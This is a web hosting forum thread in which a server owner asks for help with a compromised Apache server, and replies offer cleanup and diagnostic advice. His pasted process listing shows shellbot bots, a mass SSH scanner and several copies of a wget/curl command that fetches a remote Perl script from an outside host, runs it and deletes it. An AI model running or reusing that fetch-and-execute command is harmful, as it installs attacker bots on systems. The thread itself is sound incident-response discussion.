Results 1 to 18 of 18
  1. #1
    Join Date
    Jan 2003
    Location
    Glastonbury, Somerset
    Posts
    27

    Hackers - help, please.

    I am constantly battling hackers over the last week and I have to admit I'm not really sure what it is that is letting them in, but they're getting in... the processes all run as "apache" so clearly it's the webserver somehow.

    I've changed the ssh port, have disabled cron on the apache user and have set php safe_mode on the site I think might be to blame, but still no luck.

    Logged in this morning to be greeted by this...

    [[email protected] httpdocs]# ps -fe | grep apache
    apache 2889 2220 1 Dec26 ? 00:18:36 /usr/sbin/httpd
    apache 2891 2220 0 Dec26 ? 00:00:00 /usr/sbin/httpd
    apache 2892 2220 0 Dec26 ? 00:00:02 /usr/sbin/httpd
    apache 2893 2220 0 Dec26 ? 00:00:02 /usr/sbin/httpd
    apache 2894 2220 0 Dec26 ? 00:00:00 /usr/sbin/httpd
    apache 2895 2220 0 Dec26 ? 00:00:05 /usr/sbin/httpd
    apache 2896 2220 0 Dec26 ? 00:00:02 /usr/sbin/httpd
    apache 14664 2220 0 Dec26 ? 00:00:03 /usr/sbin/httpd
    apache 32714 1 0 Dec26 ? 00:00:02 /apache/bin/httpd
    apache 32719 1 0 Dec26 ? 00:00:02 /apache/bin/httpd
    apache 19751 2894 0 Dec26 ? 00:00:00 [sh] <defunct>
    apache 19764 1 23 Dec26 ? 03:31:35 shellbot
    apache 28642 2220 0 Dec26 ? 00:00:04 /usr/sbin/httpd
    apache 28662 2891 0 Dec26 ? 00:00:00 [sh] <defunct>
    apache 28666 1 22 Dec26 ? 03:23:10 shellbot
    apache 29532 2220 0 Dec26 ? 00:00:01 /usr/sbin/httpd
    apache 29933 2220 0 Dec26 ? 00:07:18 /usr/sbin/httpd
    apache 20833 2893 0 Dec26 ? 00:00:00 [sh] <defunct>
    apache 20838 1 13 Dec26 ? 01:21:35 [httpds]
    apache 20847 29532 0 Dec26 ? 00:00:00 [sh] <defunct>
    apache 20853 1 13 Dec26 ? 01:21:33 [httpds]
    apache 20870 2220 0 Dec26 ? 00:00:02 /usr/sbin/httpd
    apache 20879 2892 0 Dec26 ? 00:00:00 [sh] <defunct>
    apache 20884 1 13 Dec26 ? 01:21:28 [httpds]
    apache 20887 2896 0 Dec26 ? 00:00:00 [sh] <defunct>
    apache 20892 1 13 Dec26 ? 01:21:16 [httpds]
    apache 20895 2220 0 Dec26 ? 00:00:01 /usr/sbin/httpd
    apache 20896 2220 0 Dec26 ? 00:00:02 /usr/sbin/httpd
    apache 20901 2220 0 Dec26 ? 00:00:02 /usr/sbin/httpd
    apache 21445 2220 0 Dec26 ? 00:00:01 /usr/sbin/httpd
    apache 1875 1 0 00:01 ? 00:00:00 [httpds]
    apache 2237 1 0 00:14 ? 00:00:00 ./mocks start
    apache 5465 20895 0 00:23 ? 00:00:00 [sh] <defunct>
    apache 5477 1 6 00:23 ? 00:24:48 shellbot
    apache 10110 14664 0 01:00 ? 00:00:00 [sh] <defunct>
    apache 10142 1 11 01:00 ? 00:44:09 shellbot
    apache 10537 2220 0 01:27 ? 00:00:01 /usr/sbin/httpd
    apache 13780 1 0 02:28 ? 00:00:00 [httpds]
    apache 13781 13780 0 02:28 ? 00:00:00 sh -c wget http://www.i-servers.nl/rooster/test.txt;curl -O http://www.i-servers.nl/rooster/test.txt;perl test.txt;rm -rf test* 2>&1 3>&1
    apache 13784 1 0 02:28 ? 00:00:00 [httpds]
    apache 13785 13784 0 02:28 ? 00:00:00 sh -c wget http://www.i-servers.nl/rooster/test.txt;curl -O http://www.i-servers.nl/rooster/test.txt;perl test.txt;rm -rf test* 2>&1 3>&1
    apache 13788 1 0 02:28 ? 00:00:00 [httpds]
    apache 13789 13788 0 02:28 ? 00:00:00 sh -c wget http://www.i-servers.nl/rooster/test.txt;curl -O http://www.i-servers.nl/rooster/test.txt;perl test.txt ;rm -rf test* 2>&1 3>&1
    apache 13792 1 0 02:28 ? 00:00:00 [httpds]
    apache 13793 13792 0 02:28 ? 00:00:00 sh -c wget http://www.i-servers.nl/rooster/test.txt;curl -O http://www.i-servers.nl/rooster/test.txt;perl test.txt;rm -rf test* 2>&1 3>&1
    apache 13798 13789 0 02:29 ? 00:00:00 perl test.txt
    apache 13802 13781 0 02:29 ? 00:00:00 perl test.txt
    apache 13806 13793 0 02:29 ? 00:00:00 perl test.txt
    apache 13810 13785 0 02:29 ? 00:00:00 perl test.txt
    apache 22282 2220 0 03:40 ? 00:00:00 /usr/sbin/httpd
    apache 22434 20896 0 03:51 ? 00:00:00 [sh] <defunct>
    apache 22442 1 10 03:51 ? 00:20:33 [httpd]
    apache 22513 21445 0 03:55 ? 00:00:00 [perl] <defunct>
    apache 22515 1 0 03:55 ? 00:00:00 /usr/local/apache/bin/nscan -DSSL
    apache 22552 2220 0 03:58 ? 00:00:00 /usr/sbin/httpd
    apache 23183 1 0 04:03 ? 00:00:48 /usr/local/apache/bin/nscan -DSSL
    apache 23187 1 0 04:03 ? 00:00:47 /usr/local/apache/bin/nscan -DSSL
    apache 3606 2220 0 04:52 ? 00:00:00 /usr/sbin/httpd
    apache 27716 1 0 06:54 ? 00:00:00 [httpd]
    apache 27720 1 0 06:54 ? 00:00:00 ./php
    apache 28140 1 0 07:06 ? 00:00:00 /bin/sh ./mass 139
    apache 28299 28140 0 07:12 ? 00:00:00 /bin/bash ./a 139.1
    apache 28302 28299 9 07:12 ? 00:00:20 /bin/bash 139.1 22
    I must admit I'm out of my depth.

    Any ideas?

    Thanks,

    Sean

  2. #2
    Join Date
    Feb 2004
    Location
    Your Screen
    Posts
    3,998
    Hire a server administrator -- someone who will clean your box up competently.

    Sorry, I don't want to sound short but I am also not going to waste your time. These kinds of issues require all sorts of digging around to try to track down, to do right. And since none of us are logged in to your server, we can't begin to tell you which of 50 things to check. This is what server admins are for. Hire one, get your server cleaned up, and watch the process carefully so you can learn from it. (That's how we all learn!)

    Good luck, Sean I hope you are able to get it sorted out quickly.

    Bailey
    Let's Connect on Twitter! @thatsmsgeek2u || Fighting mediocrity one thread at a time.

  3. #3
    Join Date
    Jan 2003
    Location
    Glastonbury, Somerset
    Posts
    27
    Anybody want to quote (offlist if it violates the T&Cs of the board)? What's the likely cost?

    Sean

  4. #4
    Quote Originally Posted by seanmiller View Post
    Anybody want to quote (offlist if it violates the T&Cs of the board)? What's the likely cost?

    Sean
    www.cpadmin.net is only $50.00/Month-Server they run all my servers they can fix anything! I have been to many bigger company's that put off work and take forever to find things out, with cpadmin nothing is to big and it gets fixed in a reasonable amount of time!
    .

  5. #5
    did you running software firewall? or any other web server security ? loosing server resource is a nightmare, its better to search for security experts.

  6. #6
    Join Date
    Dec 2005
    Location
    Planet Earth
    Posts
    23
    The sites on your server are running exploitable applications. I would suggest finding the working directory of exploitable scripts as:

    ls -la /proc/PID

    For example:

    apache 32719 1 0 Dec26 ? 00:00:02 /apache/bin/httpd
    apache 19751 2894 0 Dec26 ? 00:00:00 [sh] <defunct>

    These two lines show that the second process with PID 19751 is running shell commands so you can check that from where it is running as :

    ls -la /proc/19751

    and look for cwd that will show you the path. Similarly try to locate the cwd for other running processes too:

    apache 27716 1 0 06:54 ? 00:00:00 [httpd]
    apache 27720 1 0 06:54 ? 00:00:00 ./php
    apache 28140 1 0 07:06 ? 00:00:00 /bin/sh ./mass 139
    apache 28299 28140 0 07:12 ? 00:00:00 /bin/bash ./a 139.1
    apache 28302 28299 9 07:12 ? 00:00:20 /bin/bash 139.1 22
    When you say "I wrote a program that crashed Windows", people just stare at you blankly and say "Hey, I got those with the system, *for free*".

  7. #7
    Join Date
    Oct 2002
    Location
    State of Disbelief
    Posts
    22,951
    Quote Originally Posted by seanmiller View Post
    Anybody want to quote (offlist if it violates the T&Cs of the board)? What's the likely cost?
    Server admins can't offer quotes here, even privately. If you'd like to hire someone or have them quote, we can move this to the proper forum where it is allowed.
    Having problems, or maybe questions about WHT? Head over to the help desk!

  8. #8
    Join Date
    Feb 2006
    Posts
    1,108
    Quote Originally Posted by WebScHoLaR View Post
    The sites on your server are running exploitable applications. I would suggest finding the working directory of exploitable scripts as:

    ls -la /proc/PID

    For example:

    apache 32719 1 0 Dec26 ? 00:00:02 /apache/bin/httpd
    apache 19751 2894 0 Dec26 ? 00:00:00 [sh] <defunct>

    These two lines show that the second process with PID 19751 is running shell commands so you can check that from where it is running as :

    ls -la /proc/19751

    and look for cwd that will show you the path. Similarly try to locate the cwd for other running processes too:

    apache 27716 1 0 06:54 ? 00:00:00 [httpd]
    apache 27720 1 0 06:54 ? 00:00:00 ./php
    apache 28140 1 0 07:06 ? 00:00:00 /bin/sh ./mass 139
    apache 28299 28140 0 07:12 ? 00:00:00 /bin/bash ./a 139.1
    apache 28302 28299 9 07:12 ? 00:00:20 /bin/bash 139.1 22
    it looks like it's scanning/bruteforcing other servers on the 139.* range.

    also, are you running ANY php scripts or otherwise that might allow remote file inclusion?
    semi-retired

  9. #9
    Join Date
    Jan 2003
    Location
    Glastonbury, Somerset
    Posts
    27
    Quote Originally Posted by bear Claus View Post
    Server admins can't offer quotes here, even privately. If you'd like to hire someone or have them quote, we can move this to the proper forum where it is allowed.
    I'd rather not... but if necessary I guess I will have to do so... not particularly cash rich, so free advice would be preferable but I am not averse to the idea of ultimately paying somebody to "do the job" if it solves the issues.

    Sean

  10. #10
    Join Date
    Nov 2002
    Location
    WebHostingTalk
    Posts
    8,878
    * Moved to Technical and Security Issues....

    Quote Originally Posted by seanmiller
    I'd rather not... but if necessary I guess I will have to do so... not particularly cash rich, so free advice would be preferable but I am not averse to the idea of ultimately paying somebody to "do the job" if it solves the issues.
    Running a dedicated server isnt cheap. If you dont have the money, then find something else, like a managed VPS or shared hosting.

    Sirius
    I support the Human Rights Campaign!
    Moving to the Tampa, Florida area? Check out life in the suburbs in Trinity, Florida.

  11. #11
    phreek338 Guest
    It is most likely you have a vulnerable php script on your webserver and they are exploiting it to execute commands remotely and running their Bots.

  12. #12
    Join Date
    Apr 2005
    Posts
    1,711
    Give 'lsof -p PID | grep IPv4' a try
    Zach E. - Kualowww.kualo.com
    Shared Web Hosting, Reseller Hosting, Cloud VPS & Dedicated Servers
    UK: 0800 138 3235 ❘ USA: 1-800-995-8256

  13. #13
    Definitely executing commands remotely. I would do the following:

    1) kill the rogue apps
    2) disable wget
    3) backup data
    4) reinstall of OS

    However, while that ensures you start off without being rootkitted (yet), you still need to find the source of the remote command executions (usually from open source forums/cms/etc). Don't like this kinds of scenarios as it's a real PITA.

    Good luck.

  14. #14
    Join Date
    Apr 2002
    Location
    Auckland - New Zealand
    Posts
    1,572
    If it were me, I'd hire a syadmin $50-100 to sort it out.
    A level 3 admin would sort that in 5-15 mins.

  15. #15
    Join Date
    Jul 2002
    Location
    London, United Kingdom
    Posts
    4,362
    Quote Originally Posted by Kayce View Post
    2) disable wget
    Sooner rather than later !
    Either rename it or uninstall it, at least you wont be doing any more damage while you get someone to fix the issues.

  16. #16
    Greetings:

    Quote Originally Posted by Dotable Steve View Post
    If it were me, I'd hire a syadmin $50-100 to sort it out.
    A level 3 admin would sort that in 5-15 mins.
    Agreed in terms of resolving the current / present hack - 15 minutes or less for skilled administrators. Resolution being that hack is not operational; tracing the hack might take longer depending on what information is available on the server.

    However, a good hardening that is not template based takes approximately two to three hours depending on the operating system and software installed.

    Thank you.
    ---
    Peter M. Abraham
    LinkedIn Profile

  17. #17
    Join Date
    May 2006
    Posts
    72
    Quote Originally Posted by gameserverhostin View Post
    cpadmin.net is only $50.00/Month-Server they run all my servers they can fix anything! I have been to many bigger company's that put off work and take forever to find things out, with cpadmin nothing is to big and it gets fixed in a reasonable amount of time!
    it's the second time I see you promoting cpadmin

  18. #18
    Join Date
    Jan 2003
    Location
    Glastonbury, Somerset
    Posts
    27
    Thanks to everybody for their comments.

    And thanks to Giles H for the pointers on IM and for taking a look at the server for me... I feel a bit less "in a panic" now...

    Sean

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •